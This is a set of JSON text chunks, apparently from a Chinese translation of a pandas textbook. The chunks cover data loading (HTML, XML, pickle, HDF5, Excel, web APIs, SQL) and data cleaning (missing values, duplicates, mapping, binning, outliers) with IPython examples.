[{\"a\":1,\"b\":2,\"c\":3},{\"a\":4,\"b\":5,\"c\":6},{\"a\":7,\"b\":8,\"c\":9}] XML 和 HTML ： Web 信息收集 Python有许多可以读写常见的HTML和XML格式数据的库，包括lxml、Beautiful Soup和html5lib。"},
    {"text": "结果是一 个列表的DataFrame对象： In [73]: tables = pd.read_html('examples/fdic_failed_bank_list.html') In [74]: len(tables) Out[74]: 1 In [75]: failures = tables[0] 182 In [76]: failures.head() Out[76]: Bank Name City ST CERT \\ 0 Allied Bank Mulberry AR 91 1 The Woodbury Banking Company Woodbury GA 11297 2 First CornerStone Bank King of Prussia PA 35312 3 Trust Company Bank Memphis TN 9956 4 North Milwaukee State Bank Milwaukee WI 20364 Acquiring Institution Closing Date Updated Date 0 Today's Bank September 23, 2016 November 17, 2016 1 United Bank August 19, 2016 November 17, 2016 2 First-Citizens Bank & Trust Company May 6, 2016 September 6, 2016 3 The Bank of Fayette County April 29, 2016 September 6, 2016 4 First-Citizens Bank & Trust Company March 11, 2016 June 16, 2016 因为failures有许多列，pandas插入了一个换行符\\。"},
    {"text": "这里，我们可以做一些数据清洗和分析（后面章节会进一步讲解），比如计算按年份计算倒闭的银 行数： In [77]: close_timestamps = pd.to_datetime(failures['Closing Date']) In [78]: close_timestamps.dt.year.value_counts() Out[78]: 2010 157 2009 140 2011 92 2012 51 2008 25 ... 2004 4 2001 4 2007 3 2003 3 2000 2 Name: Closing Date, Length: 15, dtype: int64 利用 lxml.objectify 解析 XML XML（Extensible Markup Language）是另一种常见的支持分层、嵌套数据以及元数据的结构化数 据格式。"},
    {"text": "183 纽约大都会运输署发布了一些有关其公交和列车服务的数据资料 Performance_MNR.xml），其中每条XML记录就是一条月度数据，如下所示： <INDICATOR> <INDICATOR_SEQ>373889</INDICATOR_SEQ> <PARENT_SEQ></PARENT_SEQ> <AGENCY_NAME>Metro-North Railroad</AGENCY_NAME> <INDICATOR_NAME>Escalator Availability</INDICATOR_NAME> <DESCRIPTION>Percent of the time that escalators are operational systemwide. The availability rate is based on physical observations performed the morning of regular business days only. This is a new indicator the agency began reporting in 2009.</DESCRIPTION> <PERIOD_YEAR>2011</PERIOD_YEAR> <PERIOD_MONTH>12</PERIOD_MONTH> <CATEGORY>Service Indicators</CATEGORY> <FREQUENCY>M</FREQUENCY> <DESIRED_CHANGE>U</DESIRED_CHANGE> <INDICATOR_UNIT>%</INDICATOR_UNIT> <DECIMAL_PLACES>1</DECIMAL_PLACES> <YTD_TARGET>97.00</YTD_TARGET> <YTD_ACTUAL></YTD_ACTUAL> <MONTHLY_TARGET>97.00</MONTHLY_TARGET> <MONTHLY_ACTUAL></MONTHLY_ACTUAL> </INDICATOR> 我们先用lxml.objectify解析该文件，然后通过getroot得到该XML文件的根节点的引用： from lxml import objectify path = 'datasets/mta_perf/Performance_MNR.xml' parsed = objectify.parse(open(path)) root = parsed.getroot() root.INDICATOR返回一个用于产生各个XML元素的生成器。"},
    {"text": "对于每条记录，我们可以用标记名 （如YTD_ACTUAL）和数据值填充一个字典（排除几个标记）： data = [] skip_fields = ['PARENT_SEQ', 'INDICATOR_SEQ', 'DESIRED_CHANGE', 'DECIMAL_PLACES'] for elt in root.INDICATOR: el_data = {} for child in elt.getchildren(): 184 if child.tag in skip_fields: continue el_data[child.tag] = child.pyval data.append(el_data) 最后，将这组字典转换为一个DataFrame： In [81]: perf = pd.DataFrame(data) In [82]: perf.head() Out[82]: Empty DataFrame Columns: [] Index: [] XML数据可以比本例复杂得多。"},
    {"text": "看看下面这个HTML的链接标签（它也 算是一段有效的XML）： from io import StringIO tag = '<a href=\"http://www.google.com\">Google</a>' root = objectify.parse(StringIO(tag)).getroot() 现在就可以访问标签或链接文本中的任何字段了（如href）： In [84]: root Out[84]: <Element a at 0x7f6b15817748> In [85]: root.get('href') Out[85]: 'http://www.google.com' In [86]: root.text Out[86]: 'Google' 6.2 二进制数据格式 实现数据的高效二进制格式存储最简单的办法之一是使用Python内置的pickle序列化。"},
    {"text": "pandas对象 都有一个用于将数据以pickle格式保存到磁盘上的to_pickle方法： In [87]: frame = pd.read_csv('examples/ex1.csv') In [88]: frame Out[88]: a b c d message 0 1 2 3 4 hello 185 1 5 6 7 8 world 2 9 10 11 12 foo In [89]: frame.to_pickle('examples/frame_pickle') 你可以通过pickle直接读取被pickle化的数据，或是使用更为方便的pandas.read_pickle： In [90]: pd.read_pickle('examples/frame_pickle') Out[90]: a b c d message 0 1 2 3 4 hello 1 5 6 7 8 world 2 9 10 11 12 foo 注意：pickle仅建议用于短期存储格式。"},
    {"text": "HDF5中的HDF指的是层次型数据格式（hierarchical data format）。 每个HDF5文件都含有一个文件系统式的节点结构，它使你能够存储多个数据集并 支持元数据。 与其他简单格式相比，HDF5支持多种压缩器的即时压缩，还能更高效地存储重复模 式数据。 对于那些非常大的无法直接放入内存的数据集，HDF5就是不错的选择，因为它可以高效 地分块读写。"},
    {"text": "HDFStore类可以像字典一样，处理低级的细节： In [92]: frame = pd.DataFrame({'a': np.random.randn(100)}) In [93]: store = pd.HDFStore('mydata.h5') In [94]: store['obj1'] = frame In [95]: store['obj1_col'] = frame['a'] 186 In [96]: store Out[96]: <class 'pandas.io.pytables.HDFStore'> File path: mydata.h5 /obj1 frame (shape->[100,1]) /obj1_col series (shape->[100]) /obj2 frame_table (typ->appendable,nrows->100,ncols->1,indexers-> [index]) /obj3 frame_table (typ->appendable,nrows->100,ncols->1,indexers-> [index]) HDF5文件中的对象可以通过与字典一样的API进行获取： In [97]: store['obj1'] Out[97]: a 0 -0.204708 1 0.478943 2 -0.519439 3 -0.555730 4 1.965781 .. ... 95 0.795253 96 0.118110 97 -0.748532 98 0.584970 99 0.152677 [100 rows x 1 columns] HDFStore支持两种存储模式，'fixed'和'table'。 后者通常会更慢，但是支持使用特殊语法进行查询 操作： In [98]: store.put('obj2', frame, format='table') In [99]: store.select('obj2', where=['index >= 10 and index <= 15']) Out[99]: a 10 1.007189 11 -1.296221 12 0.274992 13 0.228913 14 1.352917 15 0.886429 187 In [100]: store.close() put是store['obj2'] = frame方法的显示版本，允许我们设置其它的选项，比如格式。 pandas.read_hdf函数可以快捷使用这些工具： In [101]: frame.to_hdf('mydata.h5', 'obj3', format='table') In [102]: pd.read_hdf('mydata.h5', 'obj3', where=['index < 5']) Out[102]: a 0 -0.204708 1 0.478943 2 -0.519439 3 -0.555730 4 1.965781 笔记：如果你要处理的数据位于远程服务器，比如Amazon S3或HDFS，使用专门为分布式 存储（比如Apache Parquet）的二进制格式也许更加合适。"},
    {"text": "要使用ExcelFile，通过传递xls或xlsx路径创建一个实例： In [104]: xlsx = pd.ExcelFile('examples/ex1.xlsx') 存储在表单中的数据可以read_excel读取到DataFrame（原书这里写的是用parse解析，但代码中 用的是read_excel，是个笔误：只换了代码，没有改文字）： In [105]: pd.read_excel(xlsx, 'Sheet1') Out[105]: a b c d message 0 1 2 3 4 hello 188 1 5 6 7 8 world 2 9 10 11 12 foo 如果要读取一个文件中的多个表单，创建ExcelFile会更快，但你也可以将文件名传递到 pandas.read_excel： In [106]: frame = pd.read_excel('examples/ex1.xlsx', 'Sheet1') In [107]: frame Out[107]: a b c d message 0 1 2 3 4 hello 1 5 6 7 8 world 2 9 10 11 12 foo 如果要将pandas数据写入为Excel格式，你必须首先创建一个ExcelWriter，然后使用pandas对象 的to_excel方法将数据写入到其中： In [108]: writer = pd.ExcelWriter('examples/ex2.xlsx') In [109]: frame.to_excel(writer, 'Sheet1') In [110]: writer.save() 你还可以不使用ExcelWriter，而是传递文件的路径到to_excel： In [111]: frame.to_excel('examples/ex2.xlsx') 6.3 Web APIs 交互 许多网站都有一些通过JSON或其他格式提供数据的公共API。"},
    {"text": "一个简单易用的办法（推荐）是requests包（响应对象的json方法会返回一个包含被解析过的JSON字典，加载到一个Python对象中： In [117]: data = resp.json() In [118]: data[0]['title'] Out[118]: 'Period does not round down for frequencies less that 1 hour' data中的每个元素都是一个包含所有GitHub主题页数据（不包含评论）的字典。"},
    {"text": "我们可以直接传 递数据到DataFrame，并提取感兴趣的字段： In [119]: issues = pd.DataFrame(data, columns=['number', 'title', .....: 'labels', 'state']) In [120]: issues Out[120]: number title \\ 0 17666 Period does not round down for frequencies les... 1 17665 DOC: improve docstring of function where 2 17664 COMPAT: skip 32-bit test on int repr 3 17662 implement Delegator class 4 17654 BUG: Fix series rename called with str alterin... .. ... ... 25 17603 BUG: Correctly localize naive datetime strings... 26 17599 core.dtypes.generic --> cython 27 17596 Merge cdate_range functionality into bdate_range 28 17587 Time Grouper bug fix when applied for list gro... 29 17583 BUG: fix tz-aware DatetimeIndex + TimedeltaInd... labels state 0 [] open 1 [{'id': 134699, 'url': 'https://api.github.com... open 2 [{'id': 563047854, 'url': 'https://api.github.... open 3 [] open 4 [{'id': 76811, 'url': 'https://api.github.com/... open .. ... ... 25 [{'id': 76811, 'url': 'https://api.github.com/... open 26 [{'id': 49094459, 'url': 'https://api.github.c... open 27 [{'id': 35818298, 'url': 'https://api.github.c... open 28 [{'id': 233160, 'url': 'https://api.github.com... open 29 [{'id': 76811, 'url': 'https://api.github.com/... open [30 rows x 4 columns] 花费一些精力，你就可以创建一些更高级的常见的Web API的接口，返回DataFrame对象，方便进 行分析。"},
    {"text": "例 如，我将使用SQLite数据库（通过Python内置的sqlite3驱动器）： In [121]: import sqlite3 In [122]: query = \"\"\" .....: CREATE TABLE test .....: (a VARCHAR(20), b VARCHAR(20), .....: c REAL, d INTEGER .....: );\"\"\" In [123]: con = sqlite3.connect('mydata.sqlite') In [124]: con.execute(query) Out[124]: <sqlite3.Cursor at 0x7f6b12a50f10> In [125]: con.commit() 然后插入几行数据： In [126]: data = [('Atlanta', 'Georgia', 1.25, 6), .....: ('Tallahassee', 'Florida', 2.6, 3), .....: ('Sacramento', 'California', 1.7, 5)] In [127]: stmt = \"INSERT INTO test VALUES(?, ?, ?, ?)\" In [128]: con.executemany(stmt, data) Out[128]: <sqlite3.Cursor at 0x7f6b15c66ce0> 从表中选取数据时，大部分Python SQL驱动器（PyODBC、psycopg2、MySQLdb、pymssql等） 都会返回一个元组列表： In [130]: cursor = con.execute('select * from test') In [131]: rows = cursor.fetchall() In [132]: rows Out[132]: [('Atlanta', 'Georgia', 1.25, 6), ('Tallahassee', 'Florida', 2.6, 3), 191 ('Sacramento', 'California', 1.7, 5)] 你可以将这个元组列表传给DataFrame构造器，但还需要列名（位于光标的description属性中）： In [133]: cursor.description Out[133]: (('a', None, None, None, None, None, None), ('b', None, None, None, None, None, None), ('c', None, None, None, None, None, None), ('d', None, None, None, None, None, None)) In [134]: pd.DataFrame(rows, columns=[x[0] for x in cursor.description]) Out[134]: a b c d 0 Atlanta Georgia 1.25 6 1 Tallahassee Florida 2.60 3 2 Sacramento California 1.70 5 这种数据规整操作相当多，你肯定不想每查一次数据库就重写一次 。"},
    {"text": "这里，我们用SQLAlchemy连接SQLite数据库，并从 之前创建的表读取数据： In [135]: import sqlalchemy as sqla In [136]: db = sqla.create_engine('sqlite:///mydata.sqlite') In [137]: pd.read_sql('select * from test', db) Out[137]: a b c d 0 Atlanta Georgia 1.25 6 1 Tallahassee Florida 2.60 3 2 Sacramento California 1.70 5 6.5 总结 访问数据通常是数据分析的第一步。"},
    {"text": "我们称其为哨兵值，可以方便的检 测出来： In [10]: string_data = pd.Series(['aardvark', 'artichoke', np.nan, 'avocado']) In [11]: string_data Out[11]: 0 aardvark 1 artichoke 2 NaN 3 avocado dtype: object In [12]: string_data.isnull() Out[12]: 0 False 1 False 2 True 3 False dtype: bool 在pandas中，我们采用了R语言中的惯用法，即将缺失值表示为NA，它表示不可用not available。"},
    {"text": "Python内置的None值在对象数组中也可以作为NA： 193 In [13]: string_data[0] = None In [14]: string_data.isnull() Out[14]: 0 True 1 False 2 True 3 False dtype: bool pandas项目中还在不断优化内部细节以更好处理缺失数据，像用户API功能，例如pandas.isnull， 去除了许多恼人的细节。"},
    {"text": "对于一个Series，dropna返回一个仅含非空数据和索引值的Series： In [15]: from numpy import nan as NA In [16]: data = pd.Series([1, NA, 3.5, NA, 7]) In [17]: data.dropna() Out[17]: 0 1.0 2 3.5 4 7.0 dtype: float64 这等价于： In [18]: data[data.notnull()] Out[18]: 0 1.0 2 3.5 194 4 7.0 dtype: float64 而对于DataFrame对象，事情就有点复杂了。"},
    {"text": "dropna默 认丢弃任何含有缺失值的行： In [19]: data = pd.DataFrame([[1., 6.5, 3.], [1., NA, NA], ....: [NA, NA, NA], [NA, 6.5, 3.]]) In [20]: cleaned = data.dropna() In [21]: data Out[21]: 0 1 2 0 1.0 6.5 3.0 1 1.0 NaN NaN 2 NaN NaN NaN 3 NaN 6.5 3.0 In [22]: cleaned Out[22]: 0 1 2 0 1.0 6.5 3.0 传入how='all'将只丢弃全为NA的那些行： In [23]: data.dropna(how='all') Out[23]: 0 1 2 0 1.0 6.5 3.0 1 1.0 NaN NaN 3 NaN 6.5 3.0 用这种方式丢弃列，只需传入axis=1即可： In [24]: data[4] = NA In [25]: data Out[25]: 0 1 2 4 0 1.0 6.5 3.0 NaN 1 1.0 NaN NaN NaN 2 NaN NaN NaN NaN 3 NaN 6.5 3.0 NaN In [26]: data.dropna(axis=1, how='all') 195 Out[26]: 0 1 2 0 1.0 6.5 3.0 1 1.0 NaN NaN 2 NaN NaN NaN 3 NaN 6.5 3.0 另一个滤除DataFrame行的问题涉及时间序列数据。 假设你只想留下一部分观测数据，可以用 thresh参数实现此目的： In [27]: df = pd.DataFrame(np.random.randn(7, 3)) In [28]: df.iloc[:4, 1] = NA In [29]: df.iloc[:2, 2] = NA In [30]: df Out[30]: 0 1 2 0 -0.204708 NaN NaN 1 -0.555730 NaN NaN 2 0.092908 NaN 0.769023 3 1.246435 NaN -1.296221 4 0.274992 0.228913 1.352917 5 0.886429 -2.001637 -0.371843 6 1.669025 -0.438570 -0.539741 In [31]: df.dropna() Out[31]: 0 1 2 4 0.274992 0.228913 1.352917 5 0.886429 -2.001637 -0.371843 6 1.669025 -0.438570 -0.539741 In [32]: df.dropna(thresh=2) Out[32]: 0 1 2 2 0.092908 NaN 0.769023 3 1.246435 NaN -1.296221 4 0.274992 0.228913 1.352917 5 0.886429 -2.001637 -0.371843 6 1.669025 -0.438570 -0.539741 填充缺失数据 196 你可能不想滤除缺失数据（有可能会丢弃跟它有关的其他数据），而是希望通过其他方式填补那 些“空洞”。"},
    {"text": "通过一个常数调用fillna就会将缺失值 替换为那个常数值： In [33]: df.fillna(0) Out[33]: 0 1 2 0 -0.204708 0.000000 0.000000 1 -0.555730 0.000000 0.000000 2 0.092908 0.000000 0.769023 3 1.246435 0.000000 -1.296221 4 0.274992 0.228913 1.352917 5 0.886429 -2.001637 -0.371843 6 1.669025 -0.438570 -0.539741 若是通过一个字典调用fillna，就可以实现对不同的列填充不同的值： In [34]: df.fillna({1: 0.5, 2: 0}) Out[34]: 0 1 2 0 -0.204708 0.500000 0.000000 1 -0.555730 0.500000 0.000000 2 0.092908 0.500000 0.769023 3 1.246435 0.500000 -1.296221 4 0.274992 0.228913 1.352917 5 0.886429 -2.001637 -0.371843 6 1.669025 -0.438570 -0.539741 fillna默认会返回新对象，但也可以对现有对象进行就地修改： In [35]: _ = df.fillna(0, inplace=True) In [36]: df Out[36]: 0 1 2 0 -0.204708 0.000000 0.000000 1 -0.555730 0.000000 0.000000 2 0.092908 0.000000 0.769023 3 1.246435 0.000000 -1.296221 4 0.274992 0.228913 1.352917 5 0.886429 -2.001637 -0.371843 6 1.669025 -0.438570 -0.539741 对reindexing有效的那些插值方法也可用于fillna： 197 In [37]: df = pd.DataFrame(np.random.randn(6, 3)) In [38]: df.iloc[2:, 1] = NA In [39]: df.iloc[4:, 2] = NA In [40]: df Out[40]: 0 1 2 0 0.476985 3.248944 -1.021228 1 -0.577087 0.124121 0.302614 2 0.523772 NaN 1.343810 3 -0.713544 NaN -2.370232 4 -1.860761 NaN NaN 5 -1.265934 NaN NaN In [41]: df.fillna(method='ffill') Out[41]: 0 1 2 0 0.476985 3.248944 -1.021228 1 -0.577087 0.124121 0.302614 2 0.523772 0.124121 1.343810 3 -0.713544 0.124121 -2.370232 4 -1.860761 0.124121 -2.370232 5 -1.265934 0.124121 -2.370232 In [42]: df.fillna(method='ffill', limit=2) Out[42]: 0 1 2 0 0.476985 3.248944 -1.021228 1 -0.577087 0.124121 0.302614 2 0.523772 0.124121 1.343810 3 -0.713544 0.124121 -2.370232 4 -1.860761 NaN -2.370232 5 -1.265934 NaN -2.370232 只要有些创新，你就可以利用fillna实现许多别的功能。"},
    {"text": "比如说，你可以传入Series的平均值或中位 数： In [43]: data = pd.Series([1., NA, 3.5, NA, 7]) In [44]: data.fillna(data.mean()) Out[44]: 0 1.000000 1 3.833333 2 3.500000 3 3.833333 198 4 7.000000 dtype: float64 表7-2列出了fillna的参考。"},
    {"text": "移除重复数据 DataFrame中出现重复行有多种原因。 下面就是一个例子： In [45]: data = pd.DataFrame({'k1': ['one', 'two'] * 3 + ['two'], ....: 'k2': [1, 1, 2, 3, 3, 4, 4]}) In [46]: data Out[46]: k1 k2 0 one 1 1 two 1 2 one 2 3 two 3 4 one 3 5 two 4 6 two 4 DataFrame的duplicated方法返回一个布尔型Series，表示各行是否是重复行（前面出现过的 行）： In [47]: data.duplicated() Out[47]: 0 False 199 1 False 2 False 3 False 4 False 5 False 6 True dtype: bool 还有一个与此相关的drop_duplicates方法，它会返回一个DataFrame，重复的数组会标为False： In [48]: data.drop_duplicates() Out[48]: k1 k2 0 one 1 1 two 1 2 one 2 3 two 3 4 one 3 5 two 4 这两个方法默认会判断全部列，你也可以指定部分列进行重复项判断。 假设我们还有一列值，且只 希望根据k1列过滤重复项： In [49]: data['v1'] = range(7) In [50]: data.drop_duplicates(['k1']) Out[50]: k1 k2 v1 0 one 1 0 1 two 1 1 duplicated和drop_duplicates默认保留的是第一个出现的值组合。 传入keep='last'则保留最后一 个： In [51]: data.drop_duplicates(['k1', 'k2'], keep='last') Out[51]: k1 k2 v1 0 one 1 0 1 two 1 1 2 one 2 2 3 two 3 3 4 one 3 4 6 two 4 6 200 利用函数或映射进行数据转换 对于许多数据集，你可能希望根据数组、Series或DataFrame列中的值来实现转换工作。"},
    {"text": "我们来看 看下面这组有关肉类的数据： In [52]: data = pd.DataFrame({'food': ['bacon', 'pulled pork', 'bacon', ....: 'Pastrami', 'corned beef', 'Bacon', ....: 'pastrami', 'honey ham', 'nova lox'], ....: 'ounces': [4, 3, 12, 6, 7.5, 8, 3, 5, 6]}) In [53]: data Out[53]: food ounces 0 bacon 4.0 1 pulled pork 3.0 2 bacon 12.0 3 Pastrami 6.0 4 corned beef 7.5 5 Bacon 8.0 6 pastrami 3.0 7 honey ham 5.0 8 nova lox 6.0 假设你想要添加一列表示该肉类食物来源的动物类型。"},
    {"text": "我们先编写一个不同肉类到动物的映射： meat_to_animal = { 'bacon': 'pig', 'pulled pork': 'pig', 'pastrami': 'cow', 'corned beef': 'cow', 'honey ham': 'pig', 'nova lox': 'salmon' } Series的map方法可以接受一个函数或含有映射关系的字典型对象，但是这里有一个小问题，即有 些肉类的首字母大写了，而另一些则没有。"},
    {"text": "因此，我们还需要使用Series的str.lower方法，将各个 值转换为小写： In [55]: lowercased = data['food'].str.lower() In [56]: lowercased Out[56]: 0 bacon 1 pulled pork 2 bacon 3 pastrami 201 4 corned beef 5 bacon 6 pastrami 7 honey ham 8 nova lox Name: food, dtype: object In [57]: data['animal'] = lowercased.map(meat_to_animal) In [58]: data Out[58]: food ounces animal 0 bacon 4.0 pig 1 pulled pork 3.0 pig 2 bacon 12.0 pig 3 Pastrami 6.0 cow 4 corned beef 7.5 cow 5 Bacon 8.0 pig 6 pastrami 3.0 cow 7 honey ham 5.0 pig 8 nova lox 6.0 salmon 我们也可以传入一个能够完成全部这些工作的函数： In [59]: data['food'].map(lambda x: meat_to_animal[x.lower()]) Out[59]: 0 pig 1 pig 2 pig 3 cow 4 cow 5 pig 6 cow 7 pig 8 salmon Name: food, dtype: object 使用map是一种实现元素级转换以及其他数据清理工作的便捷方式。"},
    {"text": "我们来看看下面这个 Series： In [60]: data = pd.Series([1., -999., 2., -999., -1000., 3.]) 202 In [61]: data Out[61]: 0 1.0 1 -999.0 2 2.0 3 -999.0 4 -1000.0 5 3.0 -999这个值可能是一个表示缺失数据的标记值。"},
    {"text": "要将其替换为pandas能够理解的NA值，我们可以 利用replace来产生一个新的Series（除非传入inplace=True）： In [62]: data.replace(-999, np.nan) Out[62]: 0 1.0 1 NaN 2 2.0 3 NaN 4 -1000.0 5 3.0 dtype: float64 如果你希望一次性替换多个值，可以传入一个由待替换值组成的列表以及一个替换值：： In [63]: data.replace([-999, -1000], np.nan) Out[63]: 0 1.0 1 NaN 2 2.0 3 NaN 4 NaN 5 3.0 dtype: float64 要让每个值有不同的替换值，可以传递一个替换列表： In [64]: data.replace([-999, -1000], [np.nan, 0]) Out[64]: 0 1.0 1 NaN 2 2.0 3 NaN 4 0.0 5 3.0 dtype: float64 203 传入的参数也可以是字典： In [65]: data.replace({-999: np.nan, -1000: 0}) Out[65]: 0 1.0 1 NaN 2 2.0 3 NaN 4 0.0 5 3.0 dtype: float64 笔记：data.replace方法与data.str.replace不同，后者做的是字符串的元素级替换。"},
    {"text": "接下来看看下面这个简单的例子： In [66]: data = pd.DataFrame(np.arange(12).reshape((3, 4)), ....: index=['Ohio', 'Colorado', 'New York'], ....: columns=['one', 'two', 'three', 'four']) 跟Series一样，轴索引也有一个map方法： In [67]: transform = lambda x: x[:4].upper() In [68]: data.index.map(transform) Out[68]: Index(['OHIO', 'COLO', 'NEW '], dtype='object') 你可以将其赋值给index，这样就可以对DataFrame进行就地修改： In [69]: data.index = data.index.map(transform) In [70]: data Out[70]: one two three four OHIO 0 1 2 3 COLO 4 5 6 7 NEW 8 9 10 11 如果想要创建数据集的转换版（而不是修改原始数据），比较实用的方法是rename： 204 In [71]: data.rename(index=str.title, columns=str.upper) Out[71]: ONE TWO THREE FOUR Ohio 0 1 2 3 Colo 4 5 6 7 New 8 9 10 11 特别说明一下，rename可以结合字典型对象实现对部分轴标签的更新： In [72]: data.rename(index={'OHIO': 'INDIANA'}, ....: columns={'three': 'peekaboo'}) Out[72]: one two peekaboo four INDIANA 0 1 2 3 COLO 4 5 6 7 NEW 8 9 10 11 rename可以实现复制DataFrame并对其索引和列标签进行赋值。"},
    {"text": "如果希望就地修改某个数据集， 传入inplace=True即可： In [73]: data.rename(index={'OHIO': 'INDIANA'}, inplace=True) In [74]: data Out[74]: one two three four INDIANA 0 1 2 3 COLO 4 5 6 7 NEW 8 9 10 11 离散化和面元划分 为了便于分析，连续数据常常被离散化或拆分为“面元”（bin）。"},
    {"text": "假设有一组人员数据，而你希望将 它们划分为不同的年龄组： In [75]: ages = [20, 22, 25, 27, 21, 23, 37, 31, 61, 45, 41, 32] 接下来将这些数据划分为“18到25”、“26到35”、“35到60”以及“60以上”几个面元。"},
    {"text": "要实现该功能， 你需要使用pandas的cut函数： In [76]: bins = [18, 25, 35, 60, 100] In [77]: cats = pd.cut(ages, bins) 205 In [78]: cats Out[78]: [(18, 25], (18, 25], (18, 25], (25, 35], (18, 25], ..., (25, 35], (60, 100], (35,60], ( 35, 60], (25, 35]] Length: 12 Categories (4, interval[int64]): [(18, 25] < (25, 35] < (35, 60] < (60, 100]] pandas返回的是一个特殊的Categorical对象。"},
    {"text": "它的底层含有一个表示不同分类名称的类型数组，以及一个codes 属性中的年龄数据的标签： In [79]: cats.codes Out[79]: array([0, 0, 0, 1, 0, 0, 2, 1, 3, 2, 2, 1], dtype=int8) In [80]: cats.categories Out[80]: IntervalIndex([(18, 25], (25, 35], (35, 60], (60, 100]] closed='right', dtype='interval[int64]') In [81]: pd.value_counts(cats) Out[81]: (18, 25] 5 (35, 60] 3 (25, 35] 3 (60, 100] 1 dtype: int64 pd.value_counts(cats)是pandas.cut结果的面元计数。"},
    {"text": "哪边是闭端可以通过 right=False进行修改： In [82]: pd.cut(ages, [18, 26, 36, 61, 100], right=False) Out[82]: [[18, 26), [18, 26), [18, 26), [26, 36), [18, 26), ..., [26, 36), [61, 100), [36, 61), [36, 61), [26, 36)] Length: 12 Categories (4, interval[int64]): [[18, 26) < [26, 36) < [36, 61) < [61, 100)] 你可 以通过传递一个列表或数组到labels，设置自己的面元名称： In [83]: group_names = ['Youth', 'YoungAdult', 'MiddleAged', 'Senior'] In [84]: pd.cut(ages, bins, labels=group_names) Out[84]: 206 [Youth, Youth, Youth, YoungAdult, Youth, ..., YoungAdult, Senior, MiddleAged, Mid dleAged, YoungAdult] Length: 12 Categories (4, object): [Youth < YoungAdult < MiddleAged < Senior] 如果向cut传入的是面元的数量而不是确切的面元边界，则它会根据数据的最小值和最大值计算等 长面元。"},
    {"text": "下面这个例子中，我们将一些均匀分布的数据分成四组： In [85]: data = np.random.rand(20) In [86]: pd.cut(data, 4, precision=2) Out[86]: [(0.34, 0.55], (0.34, 0.55], (0.76, 0.97], (0.76, 0.97], (0.34, 0.55], ..., (0.34 , 0.55], (0.34, 0.55], (0.55, 0.76], (0.34, 0.55], (0.12, 0.34]] Length: 20 Categories (4, interval[float64]): [(0.12, 0.34] < (0.34, 0.55] < (0.55, 0.76] < (0.76, 0.97]] 选项precision=2，限定小数只有两位。"},
    {"text": "而qcut由于使用的是样本分位数，因此 可以得到大小基本相等的面元： In [87]: data = np.random.randn(1000) # Normally distributed In [88]: cats = pd.qcut(data, 4) # Cut into quartiles In [89]: cats Out[89]: [(-0.0265, 0.62], (0.62, 3.928], (-0.68, -0.0265], (0.62, 3.928], (-0.0265, 0.62] , ..., (-0.68, -0.0265], (-0.68, -0.0265], (-2.95, -0.68], (0.62, 3.928], (-0.68, -0.0265]] Length: 1000 Categories (4, interval[float64]): [(-2.95, -0.68] < (-0.68, -0.0265] < (-0.0265, 0.62] < (0.62, 3.928]] In [90]: pd.value_counts(cats) Out[90]: (0.62, 3.928] 250 (-0.0265, 0.62] 250 (-0.68, -0.0265] 250 (-2.95, -0.68] 250 dtype: int64 207 与cut类似，你也可以传递自定义的分位数（0到1之间的数值，包含端点）： In [91]: pd.qcut(data, [0, 0.1, 0.5, 0.9, 1.]) Out[91]: [(-0.0265, 1.286], (-0.0265, 1.286], (-1.187, -0.0265], (-0.0265, 1.286], (-0.026 5, 1.286], ..., (-1.187, -0.0265], (-1.187, -0.0265], (-2.95, -1.187], (-0.0265, 1.286], (-1.187, -0.0265]] Length: 1000 Categories (4, interval[float64]): [(-2.95, -1.187] < (-1.187, -0.0265] < (-0.026 5, 1.286] < (1.286, 3.928]] 本章稍后在讲解聚合和分组运算时会再次用到cut和qcut，因为这两个离散化函数对分位和分组分 析非常重要。"},
    {"text": "来看一个含有正态分布数据的 DataFrame： In [92]: data = pd.DataFrame(np.random.randn(1000, 4)) In [93]: data.describe() Out[93]: 0 1 2 3 count 1000.000000 1000.000000 1000.000000 1000.000000 mean 0.049091 0.026112 -0.002544 -0.051827 std 0.996947 1.007458 0.995232 0.998311 min -3.645860 -3.184377 -3.745356 -3.428254 25% -0.599807 -0.612162 -0.687373 -0.747478 50% 0.047101 -0.013609 -0.022158 -0.088274 75% 0.756646 0.695298 0.699046 0.623331 max 2.653656 3.525865 2.735527 3.366626 假设你想要找出某列中绝对值大小超过3的值： In [94]: col = data[2] In [95]: col[np.abs(col) > 3] Out[95]: 41 -3.399312 136 -3.745356 Name: 2, dtype: float64 要选出全部含有“超过3或－3的值”的行，你可以在布尔型DataFrame中使用any方法： 208 In [96]: data[(np.abs(data) > 3).any(1)] Out[96]: 0 1 2 3 41 0.457246 -0.025907 -3.399312 -0.974657 60 1.951312 3.260383 0.963301 1.201206 136 0.508391 -0.196713 -3.745356 -1.520113 235 -0.242459 -3.056990 1.918403 -0.578828 258 0.682841 0.326045 0.425384 -3.428254 322 1.179227 -3.184377 1.369891 -1.074833 544 -3.548824 1.553205 -2.186301 1.277104 635 -0.578093 0.193299 1.397822 3.366626 782 -0.207434 3.525865 0.283070 0.544635 803 -3.645860 0.255475 -0.549574 -1.907459 根据这些条件，就可以对值进行设置。 下面的代码可以将值限制在区间－3到3以内： In [97]: data[np.abs(data) > 3] = np.sign(data) * 3 In [98]: data.describe() Out[98]: 0 1 2 3 count 1000.000000 1000.000000 1000.000000 1000.000000 mean 0.050286 0.025567 -0.001399 -0.051765 std 0.992920 1.004214 0.991414 0.995761 min -3.000000 -3.000000 -3.000000 -3.000000 25% -0.599807 -0.612162 -0.687373 -0.747478 50% 0.047101 -0.013609 -0.022158 -0.088274 75% 0.756646 0.695298 0.699046 0.623331 max 2.653656 3.000000 2.735527 3.000000 根据数据的值是正还是负，np.sign(data)可以生成1和-1： In [99]: np.sign(data).head() Out[99]: 0 1 2 3 0 -1.0 1.0 -1.0 1.0 1 1.0 -1.0 1.0 -1.0 2 1.0 1.0 1.0 -1.0 3 -1.0 -1.0 1.0 -1.0 4 -1.0 1.0 -1.0 -1.0 排列和随机采样 209 利用numpy.random.permutation函数可以轻松实现对Series或DataFrame的列的排列工作 （permuting，随机重排序）。 通过需要排列的轴的长度调用permutation，可产生一个表示新顺序 的整数数组： In [100]: df = pd.DataFrame(np.arange(5 * 4).reshape((5, 4))) In [101]: sampler = np.random.permutation(5) In [102]: sampler Out[102]: array([3, 1, 4, 2, 0]) 然后就可以在基于iloc的索引操作或take函数中使用该数组了： In [103]: df Out[103]: 0 1 2 3 0 0 1 2 3 1 4 5 6 7 2 8 9 10 11 3 12 13 14 15 4 16 17 18 19 In [104]: df.take(sampler) Out[104]: 0 1 2 3 3 12 13 14 15 1 4 5 6 7 4 16 17 18 19 2 8 9 10 11 0 0 1 2 3 